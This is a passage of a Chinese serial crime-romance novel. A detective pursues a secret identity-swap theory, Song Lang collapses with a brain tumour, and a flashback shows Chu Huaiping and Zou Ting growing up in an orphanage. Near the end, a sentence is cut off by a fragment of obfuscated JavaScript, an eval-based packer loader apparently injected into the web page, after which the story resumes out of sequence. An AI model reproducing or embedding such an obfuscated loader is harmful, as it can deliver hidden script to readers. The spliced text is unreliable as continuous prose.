严疏眉头一皱,正要开口,李涵却抢先一步,声音里带上了难掩的激动:“严哥,您能带我一起去吗?” 这个请求完全出乎严疏的意料。他愣了片刻,才问:“你......知道我要去做什么?” 李涵用力点头。 “那你还想去?” 李涵再次点头,眼中光芒稍稍沉淀,却多了几分坚定:“严哥,我知道这不合规矩,但这次我站您。”他顿了顿,抬起头直视严疏双眼,语气诚恳,带着一丝敬佩:“程序正义,有时候......不等同于真相正义。” 严疏深深注视着眼前的年轻人,恍惚间仿佛看到了多年前的自己——不甘平庸、胆大妄为,却又一腔热血、嫉恶如仇。 他缓缓点头,冷峻的面容柔和了些许:“好。咱们现在就走。” 李涵眼中燃起光彩,声音里带着难掩的兴奋:“明白!咱们去哪儿,师父?” 严疏脚步微顿,随即继续大步向外走去:“河溪镇。” ********* 自从将录音发给严疏后,宋朗连续几天都未能安枕。他既期盼对方能从那段私密的录音里捕捉到什么,又为自己这种未经许可的窥探行为感到背德与自责。 然而严疏那边却始终沉寂。没有官方的警告,也没有此前那种穷追不舍的询问,那封邮件仿佛石沉大海。 在焦虑中煎熬了数日,宋朗终于拨通了严疏的电话:“严警官,那封邮件......您收到了吗?” 听筒那头沉默了许久,久到宋朗几乎以为信号中断,才传来一声低沉的回应:“嗯。” 仅仅一个音节,宋朗却已笃定——一定有事发生。否则以严疏的性格,绝不会是这般讳莫如深的态度。 他心头一紧,正想追问,电话那头却换上了一副公事公办的腔调:“宋先生,感谢您的协助,但我也必须提醒您注意行为边界。类似的事情,下不为例。至于案件,目前仍处于走访阶段,如果有任何进展,一定第一时间通知您。” 宋朗一怔。对方这后知后觉又欲盖弥彰的疏离态度,反而更加证实了他的猜测——事情绝不简单,甚至可能远超他的想象。 他不可能就这样被搪塞过去,声音不由得沉了下来:“我会为自己的行为承担一切后果。但既然严警官需要我提供协助,那么相应地,至少也该让我了解基本情况。” 电话那头传来一声几不可闻的叹息。再次开口时,严疏的语气缓和了些许,褪去了那层刻意的官方外壳:“我不是存心瞒你。但你毕竟是家属,我必须为每一句话负责。现在一切都还只是推测,没有证据支撑,很多猜想......实在不便透露。” 他顿了顿,仿佛下定了某种决心,低声补充:“不过......我已经找到了可能的突破口,但还需要时间。另外,有一点基本可以肯定......这绝非简单的意外。” 通话陷入了短暂的凝滞,宋朗静静握着手机,心中五味杂陈。 坦白说,从得知楚谕的死讯至今,除却悲伤,他并未真切察觉异常。唯二的变数,便是这个执拗的警察,和那个与楚谕容貌极其相似的简小姐——但执拗与着相,证明不了任何事。 他曾不止一次说过逝者已矣,也真心尝试过向前看。但那份诊断证明,却像一颗投入心湖的石子,悄然改变了一切。 他其实并不清楚自己究竟在追寻什么,只是想在尘埃落定之前,遵从本心做一件事——哪怕只是一次任性。 而严疏的坚持,像是为他这艘在迷雾中漂荡的船下了锚。借助这个具象化的锚点,他仿佛在这片混沌里依稀辨明了方向——即便这方向可能毫无意义,前路也依旧晦暗不明。 他深吸一口气,对着话筒,再次问出了那个问题:“我能......做些什么?” 手机那头传来一声沉重的叹息:“你做的已经够多了。别忘了你之前跟踪的事还在档案里记着,要是再出什么岔子,可就真得进局子了,悠着点儿吧。” 严疏说着这话,心里却泛起一丝奇异。曾几何时,还是他对宋朗穷追不舍,如今立场竟完全颠倒了过来。 人真是种复杂的生物。不论是洒脱地放手,还是固执地坚守,似乎总能找到合理的解释,却又总能在转瞬之间彻底改变。 宋朗也想起了那次不理智的行为,喉结轻轻滚动,声音里带着愧意:“抱歉,我......” “打住打住!”严疏及时截住他的话头,实在受不了他这套礼数。他沉吟片刻,还是松了口:“这样吧,如果你非要做点什么的话......留意一下你妹妹。” “小晴?”宋朗的声音骤然绷紧,“她和这事有牵扯?” 严疏不自觉地皱眉。这就是他不愿向案外人员透露猜测的原因——任何人从警察口中听到只言片语,都会不由自主地过度解读。有时候确实能发现隐情,但更多时候,只会让普通的调查工作变得复杂。 不过对于宋晴,他虽然拿不出确凿证据,但始终觉得哪里不太对劲。归根结底,还是上次录音问询时她的表现太过反常——起初惊慌失措、方寸大乱,可陈述的内容却是条理清晰、严丝合缝。更值得注意的是,随着叙述的推进,她不仅逐渐平静,甚至还慢慢透露出一种胸有成竹的自信。 仿佛......笃定自己的说辞不会露出任何破绽。 严疏当然明白,如果当事人所述属实,确实会从紧张逐渐转为坦然。可当这个人是宋晴时,那种转变就总让他觉得莫名违和。不过这很可能只是他的偏见——毕竟他一直指望从这个看似最易突破的环节打开缺口,因此受挫之后难免心存芥蒂,觉得哪哪都不对劲。 针对宋晴,基本上所有明路都已堵死。既然此时宋朗主动提出协助,何不借此机会再试探一次? 还是那句话,有些事情,面对刑警时会本能地戒备,但在至亲面前,或许就会卸下心防。 严疏斟酌片刻,决定向宋朗透露一些不涉及案情的信息:“别紧张,她与案件本身应该无关。只是有个巧合——事发当晚,楚谕、迟昼、你妹妹,还有那个简宁,都在那家酒吧。你妹妹把简宁错认成了楚谕,还和对方发生了争执。” 他顿了顿,语气放缓:“不过我已经找她了解过情况了,没发现什么问题。只是我这个人有点多疑,总觉得这种巧合有点蹊跷。”说罢他轻笑一声,带着自嘲:“你也知道我这毛病。” 宋朗皱起眉头——他还是第一次得知妹妹与简小姐之间有过节,她可从未向他提起。看来,有些事确实该过问了,即便不涉案件,他这个做大哥的,对妹妹的关心似乎也欠缺了些。 他沉声应道:“好,我知道了。还有其他需要注意的吗?” 严疏对他这套刻板的礼节已经麻木,无奈地哼了一声:“就这些,我要继续忙了。你先别着急,有进展自然会通知你,另外也别学我,整天疑神疑鬼的,没意思。” 宋朗听出他话中的自嘲,勉强笑了笑:“明白了。麻烦您了,严警官。” 电话刚挂断,身后突然传来“啪”的一声脆响——像是什么东西摔在了地上。 宋朗猛地回头,看见一个无线耳机盒滚落在地板中央。宋晴正怔怔站在门口,脸色苍白,显然听到了最后那个称呼。 宋朗一阵头疼,想起之前自己也曾因严疏的电话质问过她,便想主动解释:“小晴,我......” “哥!”宋晴猛地打断他,声音里带着与先前截然不同的惊惶与愤怒,“你还在和那个警察联系?” 宋朗一时语塞,不知该如何解释。 宋晴的脸色肉眼可见地褪去血色,连嘴唇都开始微微颤抖:“那个警察缺心眼一根筋,放不下就算了......哥,你为什么也要这样?” 看着她近乎失态的反应,宋朗忽然想起严疏刚才的提醒,不由得心生疑虑。他注视着妹妹,轻声问:“严警官说,那晚你们几个人都在酒吧。具体发生了什么?” “为什么你们都要揪着这事不放?!”宋晴几乎崩溃地摇着头,眼眶开始泛红,用一种近乎质问的眼神望着他:“那个 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看着他扭曲的面容,宋晴心头的绝望与愤恨再也压制不住:“你教养好!你从来就看不透她是个什么东西!”过往积压的恐惧在此刻尽数化为伤人的利刃,她几乎带着报复的快意嘶喊:“我今天就把话放在这儿——她死了,是咱们宋家积德!” 话音落下的瞬间,宋晴的脑子清醒了些,后知后觉的惧意爬上脊背,却仍倔强地梗着脖子与大哥对峙,仿佛在捍卫自己最后的阵地。 她已预见到劈头盖脸的斥责,甚至是一记耳光。然而面前的宋朗只是面目狰狞地指着她,嘴唇剧烈翕动,却不曾发出半点声音。下一秒,他整个人像被抽去骨架般轰然软倒,重重摔在地上,身体不受控制地剧烈抽搐。 这突如其来的变故让宋晴彻底慌了神。所有的不忿、挑衅与倔强瞬间蒸发,她惊慌失措地扑跪在宋朗身边,徒劳地推搡着他:“哥?哥!你怎么了?!你醒醒啊!” 宋朗毫无反应,抽搐渐渐微弱,已然陷入昏迷。 宋晴吓得魂飞魄散,连滚带爬地冲出房间,带着哭腔尖声呼救:“妈!妈!你快来啊!大哥出事了!” 宋志伟不在家,楼下的陈静闻声跌跌撞撞地赶来,看见儿子的模样双腿一软,几乎瘫倒。还是紧随其后的保姆反应迅捷,立刻掏出手机呼叫急救。 凄厉的鸣笛撕裂了夜幕,闪烁的蓝红顶灯将宋家宅邸映照得一片惶然。 ———————————— 坐在急诊室外冰凉的椅子上,宋晴仍以为哥哥只是被自己气到急火攻心。她先是自责,随即又将怨气转向那个阴魂不散的女人。 她恨恨地想,既然要死,为什么不干干净净地消失?偏要缠着他们家不放,死了都不让人安生。 诊室的门开了,陈静从医生办公室走出来。宋晴收敛心神正想上前,母亲却像没看见她似的,颤抖着掏出手机,未语先泣:“志伟......” 那带着绝望的哭腔像一盆冰水,瞬间浇醒了宋晴。她终于意识到,好像出大事了。 她猛地想起哥哥昏倒前的那番话。当时她被情绪蒙蔽未曾细想,但此刻回味,却发现那语气里没了往日的无奈与纵容,只剩一片沉甸甸的托付。 恐慌与愧疚排山倒海般袭来,宋晴跌坐回座椅,在空荡的走廊里泣不成声——什么叫要她撑起这个家?她连自己都照顾不好啊! 诊断结果如同晴天霹雳:宋朗罹患恶性脑瘤。唯一称得上“好消息”的是发现尚属早期,且是低级别的胶质瘤,可以手术。但医生坦言,肿瘤难以通过一两次手术根除,未来也不排除转移恶化的风险。这,注定是一场漫长而艰难的战役。 灾难就这样毫无征兆地降临在这个一直顺风顺水的家庭。即便宋家不缺手术费用,陈静依然被这突如其来的重击压得喘不过气。 宋朗从小到大都是“别人家的孩子”——懂事、优秀,甚至连叛逆期都不曾有过。小时候是父母眼里的骄傲,现在更是这个家稳固的支柱。正因有他顶在前面,宋志伟和陈静才如此娇宠小女儿,对她百依百顺,学业上也毫不施加压力,大学专业更是任她选了虚无缥缈的艺术鉴赏。在他们构筑的世界里,小公主只需要活在象牙塔中,漂漂亮亮、无忧无虑就好。 为人父母,似乎永远做着为孩子遮风挡雨的准备,却从不敢想象孩子可能先一步倒下。可此刻,当残酷的现实砸下,所有预设的幸福都在刹那之间分崩离析,只剩措手不及的剧痛。 陈静在大学当研究员,工作清闲,半生顺遂。这突如其来的重击让养尊处优已久的她方寸大乱,和丈夫通完电话后,只能抱着女儿默默垂泪。 然而,从昏迷中苏醒的宋朗在得知家人已悉数知情后,心里反而奇异地平静下来,甚至觉得自己终于松了口气。既然如此,后续治疗但凭医生安排即可,无需他再强撑。 也正是在这卸下所有重担的时刻,心底那个模糊的锚点开始逐渐清晰——他要知道楚谕死亡的真相,即便......逝者已矣。 他静静躺在病床上,望着雪白的天花板,消毒水的气息萦绕在鼻尖,一个念头忽然浮现——幸好,楚谕不必陪着一个身患绝症的丈夫走下去了。 方才妹妹的言论虽因气性上头,但她对楚谕那份根深蒂固的敌意与不善却异常真实。他如果倒下了,无依无靠的楚谕在这个家里,又该如何自处? 第一次,宋朗觉得她的离去,或许不算最坏的结局。 门口的响动打断了他的思绪。抬头望去,宋晴正怯生生地站在病房门口,眼睛肿得像核桃,进退两难。他觉得有些好笑——刚才的怒火是真的,此刻尘埃落定后的释然,也是真的。 宋朗抬手招了招,声音温和:“来。” 宋晴磨蹭到床边,低着头又开始抽泣。 “以后要懂事了,知道吗?”他轻拍妹妹的肩膀,“公司可以交给专业的经济人打理,你照样能过自己想过的生活。但爸妈年纪大了,需要照顾和陪伴......” “哥你别说了!”宋晴带着哭腔打断,“做了手术就会好的......” 宋朗苦笑摇头。即便现代医学昌明,这场战役也注定漫长。拖得越久,亲人就会越痛苦。 他不愿继续这个沉重的话题,放空思绪时,忽然想起一件仍未完成的工作交接。之前答应要回的电话,一拖就拖到了现在。 “帮哥把手机拿过来吧,我得打个电话。” 宋晴应声出去,片刻后却空手而归:“哥,你手机应该落家里了。” “没事,”宋朗不以为意,“你的借我用一下。” 等了片刻没有动静,他疑惑地抬头:“小晴?” “哦、哦,”宋晴如梦初醒,慌忙解锁手机递过去,“你用吧,我去看看妈那边。” 宋朗一心想着工作交接,并未留意妹妹的异样。他拨通电话,对方听出他气息不稳,又知他突然辞职必有变故,因此没再追问细节,只说余下事宜可以通过邮件慢慢处理。 挂断电话后,宋朗握着妹妹的手机,目光落在尚未暗下去的屏幕上怔怔出神。 一个念头忽然浮现——他想翻翻她的手机。 他不是怀疑什么,也并非存心窥探,只是在这个被疾病重新定义人生的时刻,忽然想看看妹妹平日里的生活痕迹。 然而窥视他人隐私终究有违他恪守多年的礼仪准则。若是点开社交软件,难免会撞见陌生人的私密——这念头让他指尖悬停,迟迟未能落下。 但或许是病症公开后带来的奇异解脱感,此刻的他,竟罕见地挣脱了那身刻板的礼教束缚,犹豫片刻后,还是将手指伸向了屏幕——只是目标选定为相对中立的相册,避开了那些可能载满私密对话的社交软件。 但他刚苏醒不久,又耗费心神打了通电话,此刻大脑昏沉,视线模糊,指尖一颤,便错过了相册图标,误触了紧邻它的备忘录。 界面跳转的瞬间他便意识到点错了,正欲退回,却瞥见备忘录弹出了密码认证。 他手指微顿,退出了备忘录,转而点进相册。无数照片如潮水般涌现——自拍、美食、风景、精致写真、琳琅满目的包包首饰......指尖上下滑动,畅通无阻,再未遇到任何密码阻拦。 他再次切回备忘录,而那个密码认证界面,也再次矗立眼前。 宋朗的眉头缓缓蹙起。宋晴显然并未给所有应用上锁,却唯独给备忘录设置了“启动即验证”。为什么?若真有什么需要隐藏,也该是相册或社交软件吧,怎么会是不怎么用的备忘录? 他下意识想逐个点开其他应用查验,可严疏最后那句话却蓦然在耳边响起——成天疑神疑鬼的,没意思。 指尖悬停在屏幕上方。宋朗忽然失笑,觉得自己真是魔怔了,连这点风吹草动都要揪住不放。宋晴向来天真烂漫,心思浅白,虽被骄纵惯了,但本性纯良,在大是大非面前还是拎得清的,断不可能做出什么逾越底线的事。 加个锁而已,谁知道那丫头又藏了什么难以启齿的少女心事。 宋朗闭上眼,按灭了手机屏幕。 26. 贰拾陆 严疏和李涵几乎是说走就走。火车到站已是凌晨,但距离河溪镇还有一段车程,两人便在市里随便找了家宾馆落脚,打算养足精神,第二天再去找楚怀平。 一路上李涵都在追问案件细节,带着年轻人特有的热切与好奇。严疏起初其实不愿多谈——此行事属违规,且案情全无实证,让他心头始终压着石头。但架不住李涵一遍遍恳切地追问,他终于还是开了口,从最初那条似曾相识的项链说起,将这大半年来走访所得的碎片一点一滴拼凑、讲述,也借此机会,将纷乱的线索从头梳理了一遍。 许多线索看似息息相关,可一旦散落进漫长的时光,便极易被日复一日的日常掩盖,再难引人注意。但此刻,严疏循着调查的轨迹与猜想,抽丝剥茧般将“意外”之下的谋算层层剖开,逻辑缜密,环环相扣,听得李涵频频点头,当提到录音中迟昼那句梦呓般的低语时,甚至没等严疏说出“替身”的推论,李涵已激动地抢过话头: “所以......现在这个‘简宁’,其实就是火灾里那个死者?杀人夺命?” 当时严疏沉默了一瞬。他忽然想,只要将所有碎片提取、重组,问题的核心其实不难察觉。只是没有实实在在的证据作为支撑,便始终无人愿意为他的长篇大论驻足停留。 他再三告诫李涵:“别觉得这事刺激。我刚才说的,本质上全是推理和猜想,没有任何证据支撑。所以,一个字都别往外说,明白吗?” 李涵努力压住眼底的兴奋,郑重地点头:“明白,师父。找证据——这就是咱们这趟的目的嘛。” 严疏看着年轻人眼中跃动的光,没再说什么,只是轻轻叹了口气。他大概能懂李涵此刻的心思——一个尚未经历过刑侦流程中那些沉闷、挫败与无力的年轻人,心中大概正涌动着某种无来由的使命感,甚至将自己想象成故事里匡扶正义的主角,正与暗处的邪恶展开对决。 他理解,因为他也曾有这样的时光。 正是在那尚不成熟的鲁莽年纪,少年迟昼深夜闯进了派出所,却又仓皇而走。 但他当年没有追上去,没有问到底。 那份遗憾搁在心里,一晃就是十二年。 可如今,当他终于与旧案中的模糊身影逐渐熟悉,当他终于手握线索开始逼近真相,预想中那种弥补遗憾的快意、破获悬案的兴奋,却并未到来。 留下的,只有深深的疲惫,与一种近乎钝痛的沉重。 每个人的成长,都是一场漫长的跋涉。现实从不似小说那般,会陡然降下一个坚持正义的孤胆英雄,又恰好配给一个纯粹邪恶的奸佞之徒。 人心与人格的塑造铸就,来自于经年累月的沉积,是缓慢的、无声的。 他,迟昼,楚谕——三人此刻的交锋,并非一场突如其来的对峙,而是各自背负着经年的执念,走过了幽暗沉重的来路,才在此刻,最终交汇于命运的幕布之前。 这并非正邪斗法的爽利戏码,而是三条轨迹在漫长时光的尽头相互碰撞、绞缠,发出沉闷的回响,带着岁月的分量。 而今,每个人都必须带着自己种下的因、结出的果,背负着过往的全部重量继续向前,直至其中一方,止步于穷途末路。 躺在小旅馆硬邦邦的床上,严疏在黑暗中扯了扯嘴角。他自嘲地想——这一趟前途未卜的违规之行,从某种意义上看......仿佛是他自己,先被逼上了“穷途”。 可讽刺的是,在世人通行的价值尺规上,他所代表的......分明该是“正义”。 ———————————— 天刚蒙蒙亮,两人便退了房,囫囵吞了些早点便径直前往当地派出所借车。赵队已提前打过招呼,因此手续办得异常顺利。天光大亮时,他们已驱车直奔河溪镇。 说实话,在亲眼见到楚怀平之前,严疏心里一直绷着根弦——他生怕抵达时,迎接他们的会是对方的死讯。理智告诉他几乎不可能,但那个女人留给他的阴影实在太过深重。他既觉得对方行事缜密,不会留下如此明显的漏洞;又隐隐觉得,若真到了必要关头,她恐怕没什么做不出来。 这种反复撕扯的预想,让他每找到一个可能的突破口,都会下意识地怀疑:对方是否早已留下了后手?就像......上次在他眼皮底下,把宋朗送进局子一样。 但楚怀平毕竟是个活生生的人,因此这个灭口的猜想太过骇人,即便是对李涵,他也不敢吐露,只能独自将这份不安压在心底。直到车子驶入那个熟悉的厂院,再次看见那个穿着工装、完好无损站在眼前的男人时,严疏悬着的心才悄然落回实处。 楚怀平再见到他显然有些意外,但很快明白了来意,眉宇间立刻堆起烦躁与无奈:“警官,这都多久了,还没完事吗?” 严疏早有准备,脸上恰到好处地露出公事公办的疲惫:“打扰了,楚师傅。这次不是我们揪着不放,是她那未婚夫......心里一直过不去。现场遗体损毁严重,面目难以辨认,人家就总存着侥幸,觉得人可能还在,最近更是三番五次来局里要求核实,都快魔怔了。”他叹了口气,显得颇为无奈:“这不,我们只能来找您这位直系亲属协助,好让那位彻底死心,开始新生活。对了,这位是我同事,小李。” 这套说辞他早已反复斟酌,介于情理与职权之间,既让楚怀平不便推脱,又不引起对方过度的猜疑。反正已经踏上了违规之路,也就不差这一两句谎了。 楚怀平愣了愣,显然被说服了——这次来了两个人,架势也比上次正式得多。他没再多问,只是神色复杂地感慨了两句“也算找了个有心的”,随即直接问:“需要我做什么?” 李涵适时上前一步,努力让声音听起来平稳专业:“我们......需要采集您的生物样本,进行亲缘匹配检测,以最终确认逝者身份,也给......也给家属一个完整的交代。” 他连刑案侦办都还从未参与,第一次上手居然就是这种违规操作,心里其实慌得不行,只能竭力绷住表情,扮出一副公事公办的疏离模样。 严疏也屏息凝神,目光紧紧锁在楚怀平脸上,等待他的反应。 楚怀平自始至终都像个被突然找上的局外人,带着些许困惑听着。可当“匹配检测”四字入耳,他却忽然眉头一皱,脱口问道:“检测啥?亲子鉴定吗?” 李涵本就心虚,“亲子鉴定”这四字简直像是一把捏住了他的七寸,一时间背在身后的手都不受控制地抽搐了一下。但他毕竟受过训练,本能接管了身体,保持了面上的纹丝不动:“是的。您方便提供样本吗?很快就好,不耽误的。” 对严疏和李涵而言,话说到这一步已是图穷匕见,只等对方最后那一哆嗦。两人目光隐秘而灼热地锁在面前的男人身上,屏息等待。 楚怀平看上去并未起疑,也丝毫没有察觉二人的异常,只是脸上的神情却逐渐变得古怪起来——是一种混杂了茫然与尴尬的无措。 严疏微微蹙眉。在他的预想中,此刻楚怀平八成会同意,但也不排除会拒绝,为此他也准备了后手。可眼下这反应......却完全在他预料之外。 李涵更是不解,迅速瞥了严疏一眼,又转向楚怀平,语气里带上一丝不易察觉的催促:“楚先生?您有什么疑问吗?” 楚怀平如梦初醒般回过神来,看向二人,嘴唇翕动,却欲言又止。就在严疏以为他要拒绝时,对方却忽然长长叹了口气:“我是没什么问题,也可以配合......” 严疏心头一松。 然而楚怀平的话还在继续,神情里满是难以言喻的无奈:“但,呃......有件事,你们可能没搞清楚......” 李涵也正暗自欣喜,闻言顺口接道:“什么?” 楚怀平又是一声深长的叹息,仿佛想起了某段不堪回首的往事。他犹豫再三,终于吐出了一句话,却让两人如遭雷击,瞬间僵在原地。 “楚遇她......其实......不是我女儿。” 严疏只觉得脑中“轰”的一声,思维彻底空白。 一片混沌的嗡鸣中,一个带着恍然的冰冷念头缓缓浮起—— 原来她最大的底牌,就是......根本不需要任何底牌。 ———————————— 直到坐在楚怀平家略显陈旧的客厅里,严疏仍有些恍惚。他只隐约记得楚怀平一直在叹气,最后说这事说来话长,如果一定想了解,可以到家里慢慢说。 起初,严疏怀疑是楚谕用了什么手段胁迫楚怀平一同隐瞒。但此刻看着这个从厨房拿出两瓶矿泉水、略显局促地递过来的男人,他又很快否定了这个想法——并非所有人都像迟昼和楚谕那样坚忍冷硬。大部分人即便真的有心说谎,也很难做到毫无破绽,尤其是在刑警面前。 他抬起眼,看向对面——椅子上的人正拧开一瓶水,喝两口停一下,像是在斟酌如何开口——神色间看不出丝毫遮掩。 严疏渐渐定下心神,开始打量四周。屋子不大,但收拾得很是整洁。餐桌家具谈不上时髦,却也干净得体,透着一种朴素的、认真过日子的气息。 他想起之前走访时听来的闲话,心里暗忖——或许那个“取代”了邹婷的女主人,真正懂得如何经营一个家。 楚怀平断断续续喝了半瓶水,终于放下瓶子,看向严疏。开口前,又是一声沉沉的叹息:“警官,您上次来的时候,多少也听到些闲话吧?是不是觉得......我这个当爹的,特别不是个东西?” 严疏确实这么想过。但结合楚怀平刚才那句石破天惊的坦白,他也意识到事情绝非表面那般简单——楚怀平“抛妻弃女”的背后,恐怕不仅是因为“另有新欢”。他或许确实失责,但这举动背后,八成真的另有隐情。 楚怀平见他不语,有些自嘲地扯了扯嘴角,又开始接二连三地叹气,那样子让严疏莫名想起了临行前的赵队。他盯着手里的水瓶,苦笑道:“这件事......真就是一摊烂账,造孽啊。” 他停顿片刻,声音低了下去:“我肯定是有错。但说实话,我最大的错......是优柔寡断,不懂拒绝,这才一步错,步步错。街坊邻居只看见我那时候‘抛妻弃女’,可我只是......决心下得太晚了。那句话怎么说的来着?当断......当断什么的......” 李涵听得云里雾里,只觉得这话怎么听都像是个不负责任的渣男在为自己开脱。他勉强保持着表面的中立,语调却已带上了一丝不易察觉的轻蔑:“当断不断,反受其乱。” 楚怀平当然听出了他的不屑。事实上,他对这种眼神、这种语气早已司空见惯。他没点破,只是又深深叹了口气,那叹息里裹着经年累月的麻木与疲惫:“对,是这话,我家那口子就是这么说的。其实当年我要是早点明白......也不至于走到这一步。” 他出神地摇着头,怔怔呢喃:“确实,苦了那个孩子啊......” ********* 三十四年前,汕城。 夏日的风吹过汕城郊外,卷着操场上的尘土,吹过“蓝天之家”那掉了漆的铁门。一片坑洼的破球场上,几个半大少年正追着一个磨秃了皮的足球,叫喊声混着汗水,在燥热的空气里飞扬。 “怀哥!”球场上一个男孩忽然朝外面喊了一声,“工作的事儿,给敲定了不?” 少年停下脚步,回头笑了笑,汗水顺着他利落的短发鬓角滑下:“定了,镇上的卡车厂,先当修理工。师傅说以后考了驾照,就能跟着跑长途了,见世面。” “嚯!那敢情好!”男孩们仿佛听到了什么奇幻的冒险故事,纷纷露出羡慕的神色。 少年摆摆手,脚步未停:“你们先玩,我去院长那儿说一声!” 他穿过那片晒得发烫的空地,直奔福利院那栋破旧的三层小楼。楼梯吱呀作响,他一步两阶地跨上去,在二楼尽头那扇斑驳的木门前停下——那是院长楚正山的办公室。 所谓院长办公室,不过就是间稍大的旧屋子,一张漆面斑驳的木桌,两个塞满文件的书架,还有几张磨得发亮的旧藤椅。楚正山正伏案写着什么,听见动静抬起头,眼角细密的皱纹舒展开来。 “院长,工作谈妥了,在卡车厂。”少年走到桌前,站得笔直,语气里有着汇报大事般的郑重。 楚正山摘下老花镜,仔细打量着眼前已然抽条的少年。 恍惚间,这好像还是那个被亲戚领来、瘦小沉默、连名字都没有的孩子。那人说孩子父母没了,家里没人能养,他便收留了这个孩子,让他随了自己的姓,取名“怀平”——愿他心怀平和,一世安稳。 时光竟这样快,让人只余措手不及的怅然。福利院只能供养到十六岁,这是规矩,也是无奈。 “好,好。”院长连说两个好字,声音有些哑,“定下来就好。怀平啊,以后就是大人了,要自己立住了。日子还长,一步一步走,总有盼头的。” 少年用力点头:“我知道,院长。我......会常回来看您的。” 楚正山欣慰地喟叹一声,目光温和地看着他。静默片刻,像是忽然想起什么,问道:“这事儿......和小婷说过了吗?” 少年挠挠头:“还没呢,这不正打算去找她。” 院长脸上掠过一丝不易察觉的复杂,他笑了笑,带着长辈特有的打趣口吻:“这两天你没在,那丫头可没少在我眼前晃,魂不守舍的。小婷那孩子......心思重,对你更是上心,你可得对得起人家这份心。” 楚怀平一愣,随即失笑,脸上显出些属于少年人的扭捏:“您说什么呢!小婷才多大点儿,就是个丫头片子。我这次出去发现外头世界大着呢,以后我啊,得好好攒钱,争取找个......嗯,好生养的,踏实过日子的。” 楚正山看着他坦荡又略带羞涩的神情,心里明了——少年心性,尚未开窍,又或者是真没那个心思。他也不再多言,只温和叮嘱:“小婷对你依赖,你是哥哥,要多照顾她心思。话要说清楚,但别伤了人家的心,都是一起长大的。现在成男子汉了,更要有担当,知道不?” 少年嘴上应着,心里却没太在意。在他眼里,那丫头始终是那个瘦瘦小小、警惕地看着全世界的倔强小不点,后来又成了总沉默跟在他身后、偶尔露出点笑的跟屁虫。“男女之情”距离他们,尤其是距离那个单薄青涩的女娃,实在......太遥远了。 他告别院长,朝孩子们住的宿舍区走去。刚走到那排平房略显阴暗的走廊口,一个纤细的身影便猛扑了过来,紧紧抱住他的腰。 “怀哥!”女孩的声音闷在他胸膛,带着说不出的委屈和依恋,“你怎么去了那么久?” 少年被撞得后退半步,笑着揉了揉她细软的头发:“去谈工作呀。定好了,在汽车厂,以后哥就是工人了!” 女孩抬起头。十四岁的她已经有了少女轮廓,穿着件洗得发白的碎花裙,小脸素净,眼睛很大,专注地望着他时,里头像盛着两泓深潭。 少年习惯性地逗她:“这才几天没见,想哥想成这样?那以后哥去厂里住宿舍,不天天回来了,你可咋办?” 他本是玩笑,可环在他腰间的手臂却骤然收紧,指节都有些发白。女孩没笑,也没像往常一样小声反驳,只是沉默了好一会儿才开口,声音细细软软、却异常清晰坚定:“我会一直念着你。等我到了十六岁,院长也会给我介绍工作,到时候......我就去找你。” 她说得那么自然,仿佛那是天经地义、早已写好的未来。 少年看着那副认真的样子,只当是小孩子耍赖舍不得,心里有些暖,又有些好笑。 他想起院长方才的感慨神态,便也学着那模样,故作老成地叹气:“哎,当年也不知道是谁,刚来的时候死死抱着个破玩偶不撒手,谁靠近跟谁急,差点还抓花了院长的脸。现在怎么这么粘人了?” 女孩身体几不可察地僵了一下,却没让面前的少年察觉。 邹婷母亲生她时难产走了,父亲再娶,后妈很快生了个儿子。小小的邹婷为了引起父亲注意,便总是哭闹,结果有次失手打翻了开水瓶,差点烫到摇篮里的弟弟。那之后,后妈便觉得她有些不对劲,怕真伤了儿子,就开始吹枕边风,要把她卖去当童养媳。 父亲起初不同意,但架不住邹婷真的越闹越凶,终于还是松了口。可邹婷被送到买家那里后却死活不肯,有人靠近就尖叫撕咬,买家不堪其扰,又没法报官,最后只能把她扔在福利院门口,自认倒霉。 楚正山清晰地记得那天。瘦得像只流浪猫的女孩蜷在福利院大门外,手里死死抱着个脏兮兮的小猪玩偶,眼神却警惕得像只受伤的小兽。他想接过玩偶哄她,却差点被抓花了脸。 知道这孩子心思苦,楚正山便让楚怀平多照顾。他那时也不过六七岁,却像个真正的哥哥一样,每天给她喂饭,陪她坐在角落里说话,甚至洗澡洗衣服都一手包办。慢慢地,邹婷意识到过去的家真的回不去了,才开始逐渐接受这里,把楚正山当爸爸,把楚怀平当哥哥。 这些年,邹婷模样长开了些,看着清秀可人,但因为吃不到什么好东西,始终瘦瘦小小的,看起来比实际年龄小了不少。所有人都把她当孩子,楚怀平更是如此。 “院长和怀哥,给了我一个家。”女孩终于抬头,目光直直看进楚怀平带着笑意的眼睛,那瞳孔黝黑,深处仿佛有什么东西在静静燃烧。 她幽幽叹了口气,带着与年龄不符的沉重:“我最受不了的......就是家里人不要我了。要是再来一次......我真的会疯的。” 少年心里蓦地一紧,收了玩笑的心思,轻轻拍了拍她单薄的背脊,保证道:“瞎想什么!哥永远是你哥。我先出去闯闯,攒点钱,等两年你也工作了,哥带你去城里最好的馆子吃饭,怎么样?” 女孩静静听着,眼神有些空茫,仿佛在丈量这段时光的长度:“两年......” “怀哥!小婷姐!”几个声音从走廊那头传来,打破了两人之间的氛围。是刚才球场上的那几个,嘻嘻哈哈地凑过来:“哎,小婷姐就只粘怀哥!都不理我们!” 少年笑着转身和他们打闹起来,说着卡车厂的事,说着足球,说着未来的打算。 女孩站在原地,没有跟上去。她看着少年逐渐融进那片阳光和热闹,背影清瘦挺拔,充满了走向广阔天地的生命力。 走廊的阴影落在她身上,将那纤细的身形衬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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楚怀平嘴上应着,却还是会挑些小姑娘喜欢的花哨玩意儿。他也说不清为什么,只是一想到邹婷收到礼物时亮起来的眼睛,就觉得这钱花得很值。 两年的时间,其实不长。可一旦卡在生长的节点上,变化就来得猝不及防。 营养不良的土壤里,生命依然能够顽强地抽枝展叶。邹婷像一株长期缺水、但终于等到了雨季的植物,开始以肉眼可见的速度舒展。即便肩膀、腰肢依旧单薄,但胸前与臀部的曲线却日渐柔和地显现出来,碎花裙子穿在身上,不再只是空空荡荡地挂着。说话的声音好像也变了,仍旧细细的,却不再完全是孩子般的稚嫩。 起初楚怀平并未察觉这种变化。在他心里,邹婷始终是那个抱着小猪玩偶、总是警惕地缩在角落却又粘他的小丫头。直到工作快满一年后的那个秋天,他又回来,邹婷像往常一样笑着扑过来。 